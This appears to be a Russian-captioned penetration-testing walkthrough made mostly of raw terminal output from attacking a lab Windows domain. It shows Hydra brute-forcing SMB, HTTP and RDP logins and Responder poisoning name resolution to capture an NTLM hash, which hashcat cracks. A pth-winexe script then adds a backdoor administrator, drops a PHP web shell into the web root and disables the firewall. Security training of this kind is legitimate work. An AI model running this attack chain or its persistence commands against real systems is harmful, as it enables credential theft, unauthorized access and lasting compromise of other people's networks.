[445][smb] host: 192.168.1.129   login: Administrator   password: password

[445][smb] Host: 192.168.1.129 Account: admin Error: Invalid account (Anonymous success)

[445][smb] host: 192.168.1.129   login: guest

[445][smb] host: 192.168.1.129   login: test   password: password

1 of 1 target successfully completed, 3 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-01 07:07:18

 + -- --=[Port 389 closed... skipping.

 + -- --=[Port 443 closed... skipping.

 + -- --=[Port 445 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:18

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

[445][smb] host: 192.168.1.129   login: Administrator   password: password

[445][smb] Host: 192.168.1.129 Account: admin Error: Invalid account (Anonymous success)

[445][smb] host: 192.168.1.129   login: guest

[445][smb] host: 192.168.1.129   login: test   password: password

1 of 1 target successfully completed, 3 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-01 07:07:18

 + -- --=[Port 512 closed... skipping.

 + -- --=[Port 513 closed... skipping.

 + -- --=[Port 514 closed... skipping.

 + -- --=[Port 993 closed... skipping.

 + -- --=[Port 1433 closed... skipping.

 + -- --=[Port 1521 closed... skipping.

 + -- --=[Port 3306 closed... skipping.

 + -- --=[Port 3389 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or
 for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:18

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel 
connections and -W 1 or -W 3 to wait between connection to allow the server to recover

[DATA] max 30 tasks per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~0 tries per task

[DATA] attacking service rdp on port 3389

[ERROR] Child with pid 9213 terminating, can not connect

[ERROR] Child with pid 9214 terminating, can not connect

[ERROR] Child with pid 9212 terminating, can not connect

[ERROR] Child with pid 9211 terminating, can not connect

[ERROR] Child with pid 9217 terminating, can not connect

[ERROR] Child with pid 9215 terminating, can not connect

[ERROR] Child with pid 9218 terminating, can not connect

[ERROR] Child with pid 9216 terminating, can not connect

[ERROR] Child with pid 9221 terminating, can not connect

[ERROR] Child with pid 9219 terminating, can not connect

[ERROR] Child with pid 9220 terminating, can not connect

[ERROR] Child with pid 9224 terminating, can not connect

[ERROR] Child with pid 9223 terminating, can not connect

[ERROR] Child with pid 9225 terminating, can not connect

[ERROR] Child with pid 9222 terminating, can not connect

[ERROR] Child with pid 9226 terminating, can not connect

[ERROR] Child with pid 9227 terminating, can not connect

[ERROR] Child with pid 9228 terminating, can not connect

^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

 + -- --=[Port 5432 closed... skipping.

 + -- --=[Port 5900 closed... skipping.

 + -- --=[Port 5901 closed... skipping.

 + -- --=[Port 8000 closed... skipping.

 + -- --=[Port 8080 closed... skipping.

 + -- --=[Port 8100 closed... skipping.

 + -- --=[Port 6667 closed... skipping.

################################### Done! ###########################################

root@kali:/pentest/web/Sn1per/BruteX# ./brutex 192.168.1.138

[3;J

 __________                __         ____  ___

 \______   \_______ __ ___/  |_  ____ \   \/  /

  |    |  _/\_  __ \  |  \   __\/ __ \ \     /

  |    |   \ |  | \/  |  /|  | \  ___/ /     \

  |______  / |__|  |____/ |__|  \___  >___/\  \

         \/                         \/      \_/

 + -- --=[BruteX v1.3 by 1N3

 + -- --=[http://crowdshield.com

################################### Running Port Scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-02-01 07:07 EST

Nmap scan report for 192.168.1.138

Host is up (0.00078s latency).

Not shown: 20 closed ports

PORT     STATE SERVICE

53/tcp   open  domain

80/tcp   open  http

139/tcp  open  netbios-ssn

389/tcp  open  ldap

445/tcp  open  microsoft-ds

3389/tcp open  ms-wbt-server

MAC Address: 00:0C:29:82:29:F9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

################################### Running Brute Force ############################

 + -- --=[Port 21 closed... skipping.

 + -- --=[Port 22 closed... skipping.

 + -- --=[Port 23 closed... skipping.

 + -- --=[Port 25 closed... skipping.

 + -- --=[Port 80 opened... running tests...

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START_TIME: Mon Feb  1 07:07:41 2016

URL_BASE: http://192.168.1.138/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.138/ ----

-----------------

END_TIME: Mon Feb  1 07:07:43 2016

DOWNLOADED: 4612 - FOUND: 0

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:43

[WARNING] http-head auth does not work with every server, better use http-get

[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 
10 seconds to abort...

[DATA] max 30 tasks per 1 server, overall 64 tasks, 1496 login tries (l:34/p:44), ~0 tries per task

[DATA] attacking service http-head on port 80

[80][http-head] host: 192.168.1.138   login: admin

[STATUS] attack finished for 192.168.1.138 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-01 07:07:54

 + -- --=[Port 110 closed... skipping.

 + -- --=[Port 139 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:54

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

[445][smb] host: 192.168.1.138   login: Administrator   password: Password123$

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-01 07:07:54

 + -- --=[Port 389 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or
 for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:54

[ERROR] you may only use one of -l, -L or -m

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:54

[ERROR] you may only use one of -l, -L or -m

 + -- --=[Port 443 closed... skipping.

 + -- --=[Port 445 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or
 for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:54

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

[445][smb] host: 192.168.1.138   login: Administrator   password: Password123$

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-01 07:07:54

 + -- --=[Port 512 closed... skipping.

 + -- --=[Port 513 closed... skipping.

 + -- --=[Port 514 closed... skipping.

 + -- --=[Port 993 closed... skipping.

 + -- --=[Port 1433 closed... skipping.

 + -- --=[Port 1521 closed... skipping.

 + -- --=[Port 3306 closed... skipping.

 + -- --=[Port 3389 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for 
illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:54

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel
 connections and -W 1 or -W 3 to wait between connection to allow the server to recover

[DATA] max 30 tasks per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~0 tries per task

[DATA] attacking service rdp on port 3389

[STATUS] 304.00 tries/min, 304 tries in 00:01h, 18446744073709551488 todo in 5124095576030430:60h, 30 active

^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

 + -- --=[Port 5432 closed... skipping.

 + -- --=[Port 5900 closed... skipping.

 + -- --=[Port 5901 closed... skipping.

 + -- --=[Port 8000 closed... skipping.

 + -- --=[Port 8080 closed... skipping.

 + -- --=[Port 8100 closed... skipping.

 + -- --=[Port 6667 closed... skipping.

################################### Done! ###########################################

Атака «Человек посередине» (MAN IN THE MIDDLE; MITM)

root@kali:~# responder -i 192.168.1.113

NBT Name Service/LLMNR Responder 2.0.

Please send bugs/comments to: [email protected]

To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started

[+]Loading Responder.conf File..

Global Parameters set:

Responder is bound to this interface: ALL

Challenge set: 1122334455667788

WPAD Proxy Server: False

WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host,
 "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, 
"RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";
 return 'PROXY ISAProxySrv:3141; DIRECT';}

HTTP Server: ON

HTTPS Server: ON

SMB Server: ON

SMB LM support: False

Kerberos Server: ON

SQL Server: ON

FTP Server: ON

IMAP Server: ON

POP3 Server: ON

SMTP Server: ON

DNS Server: ON

LDAP Server: ON

FingerPrint hosts: False

Serving Executable via HTTP&WPAD: OFF

Always Serving a Specific File via HTTP&WPAD: OFF

NBT-NS Answer sent to: 192.168.1.146. The requested name was : TEST-3F6416AC49

NBT-NS Answer sent to: 192.168.1.138. The requested name was : TEST-3F6416AC49

LLMNR poisoned answer sent to this IP: 192.168.1.138. The requested name was : TEST-3F6416AC49.

NBT-NS Answer sent to: 192.168.1.138. The requested name was : BUENOSAIRES

LLMNR poisoned answer sent to this IP: 192.168.1.138. The requested name was : BUENOSAIRES.

NBT-NS Answer sent to: 192.168.1.129. The requested name was : XEROSECURITY

+]SMB-NTLMv1 hash captured from :  192.168.1.129

[+]SMB complete hash is : Administrator::XEROSECURITY:2E648C1D752DE4B100000000000000000000000000000000:
D08EBBB84EF4F24

Взлом паролей

root@kali:~# hashcat -m 5500 /tmp/hashes /pentest/lists/passwords/

Initializing hashcat v2.00 with 8 threads and 32mb segment-size...

Added hashes from file /tmp/hashes: 1 (1 salts)

Activating quick-digest mode for single-hash with salt

[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

Input.Mode: Dict (/pentest/lists/passwords/hashkiller.com.dic)

Index.....: 2/8 (segment), 3313392 (words), 33550341 (bytes)

Recovered.: 0/1 hashes, 0/1 salts

Speed/sec.: 65.29M plains, 65.29M words

Progress..: 3313392/3313392 (100.00%)

Running...: --:--:--:--

Estimated.: --:--:--:--

ADMINISTRATOR::XEROSECURITY:2e648c1d752de4b100000000000000000000000000000000:
d08ebbb84ef4f24eaacf2f5a077fd2c91e22c1a3722c4eb9:1122334455667788:Password123$

All hashes have been recovered

Started: Sun Jan 31 15:09:14 2016

Stopped: Sun Jan 31 15:09:16 2016

root@kali:~#

Перебор общих ресурсов SMB

root@kali:/pentest/windows/CredCrack# ./credcrack.py -d XEROSECURITY -u Administrator

-f /pentest/loot/win-targets.txt -l 192.168.1.113 -es

Password:

 ---------------------------------------------------------------------

  CredCrack v1.0 by Jonathan Broche (@g0jhonny)

 ---------------------------------------------------------------------

[*] Validating 192.168.1.129

[*] Validating 192.168.1.138

 -----------------------------------------------------------------

 192.168.1.129 - Windows 5.1

 -----------------------------------------------------------------

 OPEN      \\192.168.1.129\C

 OPEN      \\192.168.1.129\Downloads

 OPEN      \\192.168.1.129\ADMIN$

 OPEN      \\192.168.1.129\C$

 -----------------------------------------------------------------

 192.168.1.138 - Windows Server 2012 R2 Datacenter 9600

 -----------------------------------------------------------------

 OPEN      \\192.168.1.138\ADMIN$

 CLOSED    \\192.168.1.138\C

 OPEN      \\192.168.1.138\C$

 OPEN      \\192.168.1.138\Desktop

 OPEN      \\192.168.1.138\NETLOGON

 OPEN      \\192.168.1.138\SYSVOL

[*] Done! Completed in 0.2s

Выполнение команд

root@kali:/pentest/windows/remote# vim smb.sh

#!/bin/bash

TARGET=$1

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "systeminfo"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "whoami /all"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "ipconfig /all"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "netstat -ano"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net accounts"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net localgroup administrators"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net share"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net view"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "powershell.exe -command Get-Hotfix"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net user hacker Password123$ /add"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net localgroup Administrators 
/add hacker"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "net group 'Domain Admins' /domain"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "echo ^< 
?php echo passthru($_GET['cmd']); ?^> > C:\inetpub\wwwroot\backdoor.php"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "reg add 'HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal Server' /v fAllowToGetHelp /t REG_DWORD /d 1 /f"

pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //$TARGET "netsh firewall set opmode disable"

root@kali:/pentest/windows# for a in `cat /pentest/loot/win-targets.txt`; do bash smb.sh $a; done;

E_md4hash wrapper called.

Host Name:                 TEST-3F6416AC49

OS Name:                   Microsoft Windows XP Professional

OS Version:                5.1.2600 Service Pack 2 Build 2600

OS Manufacturer:           Microsoft Corporation

OS Configuration:          Member Workstation

OS Build Type:             Multiprocessor Free

Registered Owner:          Test User

Registered Organization:

Product ID:                76487-640-2577743-23951

Original Install Date:     11/2/2015, 10:44:53 AM

System Up Time:            1 Days, 16 Hours, 44 Minutes, 36 Seconds

System Manufacturer:       VMware, Inc.

System Model:              VMware Virtual Platform

System type:               X86-based PC

Processor(s):              4 Processor(s) Installed.

                           [01]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~3184 Mhz

                           [02]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~3184 Mhz

                           [03]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~3184 Mhz

                           [04]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~3184 Mhz

BIOS Version:              INTEL  - 6040000

Windows Directory:         C:\WINDOWS

System Directory:          C:\WINDOWS\system32

Boot Device:               \Device\HarddiskVolume1

System Locale:             en-us;English (United States)

Input Locale:              en-us;English (United States)

Time Zone:                 (GMT-05:00) Eastern Time (US & Canada)

Total Physical Memory:     511 MB

Available Physical Memory: 324 MB

Virtual Memory: Max Size:  2,048 MB

Virtual Memory: Available: 2,008 MB

Virtual Memory: In Use:    40 MB

Page File Location(s):     C:\pagefile.sys

Domain:                    xerosecurity.com

Logon Server:              N/A

Hotfix(s):                 1 Hotfix(s) Installed.

                           [01]: Q147222

NetWork Card(s):           1 NIC(s) Installed.

                           [01]: VMware Accelerated AMD PCNet Adapter

                                 Connection Name: Local Area Connection

                                 DHCP Enabled:    Yes

                                 DHCP Server:     192.168.1.1

                                 IP address(es)

                                 [01]: 192.168.1.129

E_md4hash wrapper called.

Error: error Creating process(whoami /all) 2

E_md4hash wrapper called.

Windows IP Configuration

        Host Name . . . . . . . . . . . . : test-3f6416ac49

        Primary Dns Suffix  . . . . . . . : xerosecurity.com

        Node Type . . . . . . . . . . . . : Unknown

        IP Routing Enabled. . . . . . . . : No

        WINS Proxy Enabled. . . . . . . . : No

        DNS Suffix Search List. . . . . . : xerosecurity.com

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :

        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-FB-8C-7C

        Dhcp Enabled. . . . . . . . . . . : Yes

        Autoconfiguration Enabled . . . . : Yes

        IP Address. . . . . . . . . . . . : 192.168.1.129

        Subnet Mask . . . . . . . . . . . : 255.255.255.0

        Default Gateway . . . . . . . . . : 192.168.1.1

        DHCP Server . . . . . . . . . . . : 192.168.1.1

        DNS Servers . . . . . . . . . . . : 206.248.154.22

                                            206.248.154.170

                                            192.168.1.1

        Lease Obtained. . . . . . . . . . : Monday, February 01, 2016 2:36:34 AM

        Lease Expires . . . . . . . . . . : Tuesday, February 02, 2016 2:36:34 AM

E_md4hash wrapper called.

Active Connections

  Proto  Local Address          Foreign Address        State           PID

  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       976

  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4

  TCP    0.0.0.0:2869           0.0.0.0:0              LISTENING       1268

  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       912

  TCP    127.0.0.1:1039         0.0.0.0:0              LISTENING       212

  TCP    192.168.1.129:139      0.0.0.0:0              LISTENING       4

  TCP    192.168.1.129:445      192.168.1.113:41671    ESTABLISHED     4

  TCP    192.168.1.129:445      192.168.1.113:46445    ESTABLISHED     4

  TCP    192.168.1.129:445      192.168.1.113:47203    ESTABLISHED     4

  TCP    192.168.1.129:2990     206.248.168.153:80     CLOSE_WAIT      2592

  TCP    192.168.1.129:2991     206.248.168.153:80     CLOSE_WAIT      2592

  TCP    192.168.1.129:3600     192.168.1.138:139      TIME_WAIT       0

  TCP    192.168.1.129:3601     192.168.1.138:139      TIME_WAIT       0

  TCP    192.168.1.129:3603     192.168.1.138:139      TIME_WAIT       0

  TCP    192.168.1.129:3605     192.168.1.138:135      ESTABLISHED     708

  TCP    192.168.1.129:3606     192.168.1.138:49158    ESTABLISHED     708

  UDP    0.0.0.0:445            *:*                                    4

  UDP    0.0.0.0:500            *:*                                    708

  UDP    0.0.0.0:1027           *:*                                    1196

  UDP    0.0.0.0:1028           *:*                                    1196

  UDP    0.0.0.0:4500           *:*                                    708

  UDP    127.0.0.1:123          *:*                                    1072

  UDP    127.0.0.1:1321         *:*                                    1072

  UDP    127.0.0.1:1900         *:*                                    1268

  UDP    192.168.1.129:123      *:*                                    1072

  UDP    192.168.1.129:137      *:*                                    4

  UDP    192.168.1.129:138      *:*                                    4

  UDP    192.168.1.129:1900     *:*                                    1268

E_md4hash wrapper called.

Force user logoff how long after time expires?:       Never

Minimum password age (days):                          0

Maximum password age (days):                          Unlimited

Minimum password length:                              0

Length of password history maintained:                None

Lockout threshold:                                    Never

Lockout duration (minutes):                           30

Lockout observation window (minutes):                 30

Computer role:                                        WORKSTATION

The command completed successfully.

E_md4hash wrapper called.

Alias name     administrators

Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

hacker

test

test2

XEROSECURITY\Domain Admins

The command completed successfully.

E_md4hash wrapper called.

Share name   Resource                        Remark

-------------------------------------------------------------------------------

ADMIN$       C:\WINDOWS                      Remote Admin

C$           C:\                             Default share

IPC$                                         Remote IPC

C            C:\

Downloads    C:\Documents and Settings\test\My Documents\Downloads

The command completed successfully.

E_md4hash wrapper called.

Error: error Creating process(powershell.exe -command Get-Hotfix) 2

E_md4hash wrapper called.

The account already exists.

More help is available by typing NET HELPMSG 2224.

E_md4hash wrapper called.

System error 1378 has occurred.

The specified account name is already a member of the local group.

E_md4hash wrapper called.

The syntax of this command is:

NET GROUP

[groupname [/COMMENT:"text"]] [/DOMAIN]

          groupname {/ADD [/COMMENT:"text"] | /DELETE}  [/DOMAIN]

          groupname username [...] {/ADD | /DELETE} [/DOMAIN]

E_md4hash wrapper called.

Error: error Creating process(echo ^ > C:\inetpub\wwwroot\backdoor.php) 2

E_md4hash wrapper called.

Error:  Invalid key name

E_md4hash wrapper called.

Ok.

E_md4hash wrapper called.

Host Name:                 WIN-8MSB2DD52P9

OS Name:                   Microsoft Windows Server 2012 R2 Datacenter

OS Version:                6.3.9600 N/A Build 9600

OS Manufacturer:           Microsoft Corporation

OS Configuration:          Primary Domain Controller

OS Build Type:             Multiprocessor Free

Registered Owner:          Windows User

Registered Organization:

Product ID:                00253-50000-00000-AA442

Original Install Date:     7/4/2015, 7:01:25 AM

System Boot Time:          1/30/2016, 2:26:03 PM

System Manufacturer:       VMware, Inc.

System Model:              VMware Virtual Platform

System Type:               x64-based PC

Processor(s):              1 Processor(s) Installed.

                           [01]: Intel64 Family 6 Model 26 Stepping 5 GenuineIntel ~3184 Mhz

BIOS Version:              Phoenix Technologies LTD 6.00, 5/20/2014

Windows Directory:         C:\Windows

System Directory:          C:\Windows\system32

Boot Device:               \Device\HarddiskVolume1

System Locale:             en-us;English (United States)

Input Locale:              en-us;English (United States)

Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)

Total Physical Memory:     511 MB

Available Physical Memory: 40 MB

Virtual Memory: Max Size:  1,443 MB

Virtual Memory: Available: 597 MB

Virtual Memory: In Use:    846 MB

Page File Location(s):     C:\pagefile.sys

Domain:                    xerosecurity.com

Logon Server:              N/A

Hotfix(s):                 15 Hotfix(s) Installed.

                           [01]: KB2862152

                           [02]: KB2868626

                           [03]: KB2876331

                           [04]: KB2883200

                           [05]: KB2884101

                           [06]: KB2884846

                           [07]: KB2887595

                           [08]: KB2888505

                           [09]: KB2894029

                           [10]: KB2894179

                           [11]: KB2898514

                           [12]: KB2900986

                           [13]: KB2901101

                           [14]: KB2906956

                           [15]: KB2908174

Network Card(s):           1 NIC(s) Installed.

                           [01]: Intel(R) 82574L Gigabit Network Connection

                                 Connection Name: Ethernet0

                                 DHCP Enabled:    Yes

                                 DHCP Server:     192.168.1.1

                                 IP address(es)

                                 [01]: 192.168.1.138

                                 [02]: fe80::7494:32dd:efa1:e825

                                 [03]: fd2c:60b4:7f15:0:7494:32dd:efa1:e825

Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

E_md4hash wrapper called.

USER INFORMATION

----------------

User Name           SID

=================== ========

nt authority\system S-1-5-18

GROUP INFORMATION

-----------------

Group Name                             Type             SID          Attributes

====================================== ================ ============ =============================

BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, 
                                                                     Group owner

Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default,
                                                                     Enabled group

NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, 
                                                                     Enabled group

Mandatory Label\System Mandatory Level Label            S-1-16-16384

PRIVILEGES INFORMATION

----------------------

Privilege Name                  Description                               State

=============================== ========================================= ========

SeAssignPrimaryTokenPrivilege   Replace a process level token             Disabled

SeLockMemoryPrivilege           Lock pages in memory                      Enabled

SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled

SeTcbPrivilege                  Act as part of the operating system       Enabled

SeSecurityPrivilege             Manage auditing and security log          Disabled

SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled

SeLoadDriverPrivilege           Load and unload device drivers            Disabled

SeSystemProfilePrivilege        Profile system performance                Enabled

SeSystemtimePrivilege           Change the system time                    Disabled

SeProfileSingleProcessPrivilege Profile single process                    Enabled

SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled

SeCreatePagefilePrivilege       Create a pagefile                         Enabled

SeCreatePermanentPrivilege      Create permanent shared objects           Enabled

SeBackupPrivilege               Back up files and directories             Disabled

SeRestorePrivilege              Restore files and directories             Disabled

SeShutdownPrivilege             Shut down the system                      Disabled

SeDebugPrivilege                Debug programs                            Enabled

SeAuditPrivilege                Generate security audits                  Enabled

SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled

SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled

SeUndockPrivilege               Remove computer from docking station      Disabled

SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled

SeImpersonatePrivilege          Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege         Create global objects                     Enabled

SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled

SeTimeZonePrivilege             Change the time zone                      Enabled

SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled

USER CLAIMS INFORMATION

-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

E_md4hash wrapper called.

Windows IP Configuration

   Host Name . . . . . . . . . . . . : WIN-8MSB2DD52P9

   Primary Dns Suffix  . . . . . . . : xerosecurity.com

   Node Type . . . . . . . . . . . . : Hybrid

   IP Routing Enabled. . . . . . . . : No

   WINS Proxy Enabled. . . . . . . . : No

   DNS Suffix Search List. . . . . . : xerosecurity.com

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :

   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection

   Physical Address. . . . . . . . . : 00-0C-29-82-29-F9

   DHCP Enabled. . . . . . . . . . . : Yes

   Autoconfiguration Enabled . . . . : Yes

   IPv6 Address. . . . . . . . . . . : fd2c:60b4:7f15:0:7494:32dd:efa1:e825(Preferred)

   Link-local IPv6 Address . . . . . : fe80::7494:32dd:efa1:e825%12(Preferred)

   IPv4 Address. . . . . . . . . . . : 192.168.1.138(Preferred)

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Lease Obtained. . . . . . . . . . : Saturday, January 30, 2016 2:26:32 PM

   Lease Expires . . . . . . . . . . : Tuesday, February 2, 2016 2:26:32 AM

   Default Gateway . . . . . . . . . : 192.168.1.1

   DHCP Server . . . . . . . . . . . : 192.168.1.1

   DHCPv6 IAID . . . . . . . . . . . : 301993001

   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1E-3E-C6-BF-00-0C-29-82-29-F9

   DNS Servers . . . . . . . . . . . : ::1

                                       127.0.0.1

   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected

   Connection-specific DNS Suffix  . :

   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface

   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

   DHCP Enabled. . . . . . . . . . . : No

   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter isatap.{1D60A0B6-4065-4D98-9C38-7326AA07D13E}:

   Media State . . . . . . . . . . . : Media disconnected

   Connection-specific DNS Suffix  . :

   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2

   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

   DHCP Enabled. . . . . . . . . . . : No

   Autoconfiguration Enabled . . . . : Yes

E_md4hash wrapper called.

Active Connections

  Proto  Local Address          Foreign Address        State           PID

  TCP    0.0.0.0:42             0.0.0.0:0              LISTENING       1752

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4

  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       708

  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4

  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       708

  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1572

  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4

  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       1256

  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4

  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       432

  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       824

  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       864

  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING       536

  TCP    0.0.0.0:49159          0.0.0.0:0              LISTENING       1220

  TCP    0.0.0.0:49164          0.0.0.0:0              LISTENING       1752

  TCP    0.0.0.0:49165          0.0.0.0:0              LISTENING       1380

  TCP    0.0.0.0:49168          0.0.0.0:0              LISTENING       528

  TCP    0.0.0.0:49170          0.0.0.0:0              LISTENING       1396

  TCP    0.0.0.0:49174          0.0.0.0:0              LISTENING       2400

  TCP    0.0.0.0:49188          0.0.0.0:0              LISTENING       1324

  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       1396

  TCP    192.168.1.138:53       0.0.0.0:0              LISTENING       1396

  TCP    192.168.1.138:135      192.168.1.129:3605     ESTABLISHED     708

  TCP    192.168.1.138:139      0.0.0.0:0              LISTENING       4

  TCP    192.168.1.138:445      192.168.1.113:43090    ESTABLISHED     4

  TCP    192.168.1.138:445      192.168.1.113:47294    ESTABLISHED     4

  TCP    192.168.1.138:445      192.168.1.113:47313    ESTABLISHED     4

  TCP    192.168.1.138:49158    192.168.1.129:3606     ESTABLISHED     536

  TCP    192.168.1.138:49158    192.168.1.129:3607     ESTABLISHED     536

  TCP    [::]:80                [::]:0                 LISTENING       4

  TCP    [::]:88                [::]:0                 LISTENING       536

  TCP    [::]:135               [::]:0                 LISTENING       708

  TCP    [::]:389               [::]:0                 LISTENING       536

